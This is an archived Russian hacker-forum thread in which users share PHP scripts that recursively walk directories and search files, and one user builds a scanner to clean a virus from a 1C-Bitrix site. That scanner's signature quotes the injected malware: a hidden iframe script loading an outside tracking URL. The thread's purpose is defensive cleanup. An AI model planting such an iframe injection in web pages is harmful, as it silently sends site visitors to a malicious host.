Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

рекурсивное чтение папок

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> рекурсивное чтение папок
Имя
Сообщение << Старые топики   Новые топики >>
рекурсивное чтение папок - 2009-03-11 10:34:39.270000   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
люди добрые (и злые) подсобите пожалуйста скриптиком для рекурсивного листинга папок…
может у кого завалялся..
короче надо склипт который будет шагать по всем папкам на сервере и искать файлы.. если нашол в папке файлы то поочерёдно открывает каждый файл и ищет в нём например ключевую фразу.. и заменяет в случае нахождения на другую… если в папке есть подпапки то выполняет сам себя на каждой подпапке.. тоесть повторяет действие…

в принципе мне надо сама шагалка, просто замарачиваться самому лень… но я думаю я не первый, у кого такая задача возникала
Post #: 1
RE: рекурсивное чтение папок - 2009-03-11 10:42:39.980000   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
Пример обхода:
&lt;?php function ListDir($path) { $path = (substr($path,-1)=='/') ? $path:$path.'/'; $dh = opendir($path); while ( ($item = readdir($dh) ) !== false) { $item = $path.$item; if ( (basename($item) == "..") || (basename($item) == ".") ) continue; $type = filetype($item); if ($type == "dir") ListDir($item); else echo $item."\n"; } closedir($dh); } ListDir(getcwd()); ?&gt;Если используется php5, то можно воспользоваться функцией scandir
Post #: 2
RE: рекурсивное чтение папок - 2009-03-11 10:47:26.800000   
kolPeeX

Сообщений: 1456
Оценки: 0
Присоединился: 2007-01-25 14:57:57.683333
Чисто примерный скелетон:
function foo($dir) { if(is_dir($dir)) { if ($dh = opendir($dir)) { while (($file = readdir($dh)) !== false) { foo($dir.'/'.$file); } closedir($dh); } } else { $fp = fopen($dir, 'r'); ///ищем, ищем :) fclose($fp); } }
Post #: 3
RE: рекурсивное чтение папок - 2009-03-11 11:04:12.896666   
azimzaim

Сообщений: 320
Оценки: 0
Присоединился: 2009-01-04 22:14:32.760000
Я не понимаю что тут сложного?
создаем функцию, которая читает содержимое папки, поочередно открывает все файлы, пишет, в случае если выполняется условие is_dir в этой же функции вызываем её ещё раз.
Не буду писать скрипт, так как уже все написано, хочу сказать, что подобный скрипт очень хорошо написан в компоненте Fireboard для Joomla, а именно в инстал файле.
Post #: 4
RE: рекурсивное чтение папок - 2009-03-11 15:10:04.680000   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
начиналось всё так просто… а закончилось вот чем )))))
&lt;?php class FileCheck { public $link=''; public $text=''; public $arr=array(); public function FileCheck($param,$file) { $this-&gt;text=$this-&gt;FileContent($file); foreach ($param as $key =&gt; $value) { $this-&gt;mask=$value; if (!empty($this-&gt;text)) { $arr[$key]=$this-&gt;Find(); } } $this-&gt;result=$arr; } public function FileContent($file) { $lines = file_get_contents($file); return $lines; } public function Find() { $mask=explode("\r\n",$this-&gt;mask); $res=array(); for($i=0;$i&lt;count($mask);$i++) { preg_match_all("#{(.+?)}#",$mask[$i],$key); $mask[$i]=quotemeta($mask[$i]); $mask[$i]=preg_replace("#{(.+?)}#","(.*?)",$mask[$i]); foreach($key[1] as $k=&gt;$v){ $k++; $res[$v]=$this-&gt;getoneval($this-&gt;text,$mask[$i],$k); } } return $res; } public function getoneval($v,$ch,$num) { if(preg_match_all("#".$ch."#si",$v,$te)) return $te[$num]; return ''; } } $sum_str=''; class ListDir { public $arr=array(); public function ListDir($path) { global $sum_str; $path = (substr($path,-1)=='/') ? $path:$path.'/'; $dh = opendir($path); while ( ($item = readdir($dh) ) !== false) { $item = $path.$item; if ( (basename($item) == "..") || (basename($item) == ".") ) continue; $type = filetype($item); if ($type == "dir") $this-&gt;ListDir($item); else if ($sum_str!=='') $sum_str.='&'.$item; else $sum_str.=$item; // echo $item."&lt;br&gt;"; } closedir($dh); $arr=explode('&', $sum_str); $this-&gt;list=$arr; } } //if (!isset($_POST['vir'])) $search_text = array( '0' =&gt; '&lt;!-- Rambler.Ru --&gt;&lt;sсriрt language=javasсriрt&gt;status=location;document.write(\'&lt;ifrаmе src="http://xanjan.cn/in.cgi?mytraf" width=0 height=0 frameborder=0 display:none оnlоаd="status=defaultStatus;"&gt;&lt;/ifrаmе&gt;\');{virus}&lt;!-- Rambler.Ru --&gt;', ); $list = new ListDir(getcwd()); foreach($list-&gt;list as $key =&gt; $value) { $f = new FileCheck($search_text, $value); $f-&gt;result['n']=$value; if ($value!==$_SERVER['DOCUMENT_ROOT'].'/check.php') if ($f-&gt;result[0]['virus'][0]!=='') echo 'Вирус обнаружен в файле '.$value.'&lt;br&gt;'; } ?&gt; немогу только понять, почему в файлах с нулевой длинной он тоже находит искомый текст… хотя это не критично в принципе..

и продолжение вопроса…
а как мне в файле удалить определённую фразу, ну ранее найденную моим скриптом?
или может следует сделать так:
сначала открываем файл с фразой для чтения и записи…
потом считываем из него весь текст..
потом делаем рэплэйс нашей фразы
потом записываем полученный текст назад в файл…

или есть метод проще?
Post #: 5
RE: рекурсивное чтение папок - 2009-03-12 04:18:13.413333   
Панда

Сообщений: 232
Оценки: 0
Присоединился: 2008-03-05 07:38:35.890000
&lt;?php function do_smth($file) { echo "$file.&lt;br&gt;"; } function rdir($path) { $path = rtrim($path,'\\/*').'/*'; foreach (glob($path) as $item) { if (is_dir($item)) { rdir($item); } elseif (is_file($item)) { do_smth($item); } } } rdir('/tmp');
Post #: 6
RE: рекурсивное чтение папок - 2009-03-12 12:17:36.710000   
azimzaim

Сообщений: 320
Оценки: 0
Присоединился: 2009-01-04 22:14:32.760000
седня создал такой скрипт потому, что нада было. Выдает имена файлов в которых найдены совпадения с ключевым словом:
&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" &nbsp;"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt; &lt;html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US"&gt; &lt;head&gt; &nbsp;&lt;title&gt;Kostenlos Anmelden und Mitglied werden&lt;/title&gt; &nbsp;&lt;base href="http://love/" /&gt; &nbsp;&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt; &nbsp;&lt;/head&gt; &nbsp;&lt;body&gt; &lt;? $n=0; if (isset($_POST['Name'])) {$rail=$_POST['rail']; &nbsp;&nbsp;&nbsp; echo scaner(".",$_POST['Name']); } function scaner ($where, $word) { global $n, $rail; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $lowlife=scandir($where); &nbsp;&nbsp;&nbsp; foreach($lowlife as $key=&gt;$value) &nbsp;&nbsp;&nbsp; {if ($value!="." and $value!="..") &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {if (is_dir($where."/".$value)) &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {scaner ($where."/".$value, $word);} &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; elseif(is_file($where."/".$value)) &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {$size=filesize($where."/".$value); &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if ($size&gt;0) &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {$handle = fopen($where."/".$value, "r"); &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $contents = fread($handle, $size); &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fclose($handle); &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $n++; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $exp=explode(".",$value); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; switch ($rail) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; { case "1": &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; if ((stristr($contents,$word) or eregi($word,$contents))) &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {Echo "Просканировано ".$n." - ".$where."/".$value."&lt;br&gt;";} break; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; case "2": &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if ((stristr($contents,$word) or eregi($word,$contents)) and $exp[1]=="php") &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {Echo "Просканировано ".$n." - ".$where."/".$value."&lt;br&gt;";} break; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; case "3": &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if ((stristr($contents,$word) or eregi($word,$contents)) and $exp[1]=="css") &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {Echo "Просканировано ".$n." - ".$where."/".$value."&lt;br&gt;";} break; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; case "4": &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if ((stristr($contents,$word) or eregi($word,$contents)) and ($exp[1]=="htm" or $exp[1]=="html")) &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {Echo "Просканировано ".$n." - ".$where."/".$value."&lt;br&gt;";} break; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; case "5": &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if ((stristr($contents,$word) or eregi($word,$contents)) and ($exp[1]=="php" or&nbsp; $exp[1]=="css" or $exp[1]=="htm" or $exp[1]=="html")) &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {Echo "Просканировано ".$n." - ".$where."/".$value."&lt;br&gt;";} break; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp; } &nbsp; return "всего просканировано:".$n; &nbsp;} &nbsp;?&gt; &lt;form action="trunker.php?act=2" method="post"&gt; &lt;input name="Name" type="text" value=""&gt; &lt;select size="1" name="rail"&gt; &nbsp; &lt;option value="1"&gt;All&lt;/option&gt; &nbsp;&nbsp; &lt;option value="2"&gt;php&lt;/option&gt; &nbsp;&nbsp;&nbsp; &lt;option value="3"&gt;css&lt;/option&gt; &nbsp;&nbsp;&nbsp;&nbsp; &lt;option value="4"&gt;html, htm&lt;/option&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;option value="5"&gt;php, css, html, htm&lt;/option&gt; &lt;/select&gt; &lt;input type="submit" value="Send"&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt;
Post #: 7
RE: рекурсивное чтение папок - 2009-03-12 17:59:44.633333   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
мне надо было перелопатить 14000 файлов.. на всйте вирус завёлся)
вот и писал)
Post #: 8
RE: рекурсивное чтение папок - 2009-03-12 18:46:10.050000   
azimzaim

Сообщений: 320
Оценки: 0
Присоединился: 2009-01-04 22:14:32.760000
quote:

ORIGINAL: magistr_bender

мне надо было перелопатить 14000 файлов.. на всйте вирус завёлся)
вот и писал)
кто ж так пишет? Если на сайте более 3000 скриптов, то считай, что его структура не рациональна.
Post #: 9
RE: рекурсивное чтение папок - 2009-03-12 18:48:06.013333   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
это цмска… там для каждого компонента свой шаблон..
тем более цмска очень мощьная…
1c-bitrix
Post #: 10
RE: рекурсивное чтение папок - 2009-03-13 15:38:28.443333   
kristalsummers

Сообщений: 63
Оценки: 0
Присоединился: 2008-11-28 19:38:12.070000
Если на сайте более 3000 скриптов
Да ну) Видимо ты никогда не видел очень крупные движки например на Java. Все можно конечно ужать но зачем оно нужно? Если многоуровневая конфигурация на уровне общем, приложений модулей, это во первых удобно, во вторых нет такого мусора, все ясно где лежит.
Та даже у Joomla около 4500, а в ней ничего особого нет только MVC, если бы она еще позаимствовала идея к примеру RAD фреймворков Django RoR Symfony ее количество файлов умножилось бы на 2 минимум, или пришлось бы переписывать.
Post #: 11
RE: рекурсивное чтение папок - 2009-03-13 16:55:56.566666   
azimzaim

Сообщений: 320
Оценки: 0
Присоединился: 2009-01-04 22:14:32.760000
Дорогие друзья, CMS, которая состоит из большого количества скриптов - это хлам. И я хочу подчеркнуть слово скрипт, а не рисунок или щаблон (хотя и они отыгрывают определенную роль). Большое количество скриптов
а) очень сильно давит на сервер
б) замедляет работу сайта
в) мешает эффективно работать над созданием новых компонентов.
г) требует постоянного обслуживая большого количества персонала.
Post #: 12
RE: рекурсивное чтение папок - 2009-03-13 18:57:24.746666   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
в) мешает эффективно работать над созданием новых компонентов.

смешно)))
понимаеш, цмска, в которой более 600 компонентов в максимальной сборке неможет иметь менее 8000 файлов… по той причине, что у каждого компонента минимум 1 стандартный шаблон, 1 кастомизированый, 7 языковых файлов(на каждый язык по файлу), 1 цсс файл, и минимум 3 картинки… и того выходит минимум 14 файлов на компонент… а это минимум.. а их там может быть гораздо больше а за двигло и админксую часть для каждого компонента я вообще молчу… 600*14=8400 файлов и это только компоненты..

кстати битрикс это очень серьёзная цмска.. в ней есть решения для любого сайта.. форум, блог, соц сеть… да что угодно.. хоть файлообменник или рассылка смс уведоблений… есть всё.. + разрабатывать файл можно в визуальном редакторе прям в браузере… пишеш код и тебе сразу отображается результат.. типо превьюшка.. как наппример в WeBuilder'е
Post #: 13
Страниц:  [1]
Все форумы >> [Веб-программинг] >> рекурсивное чтение папок







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.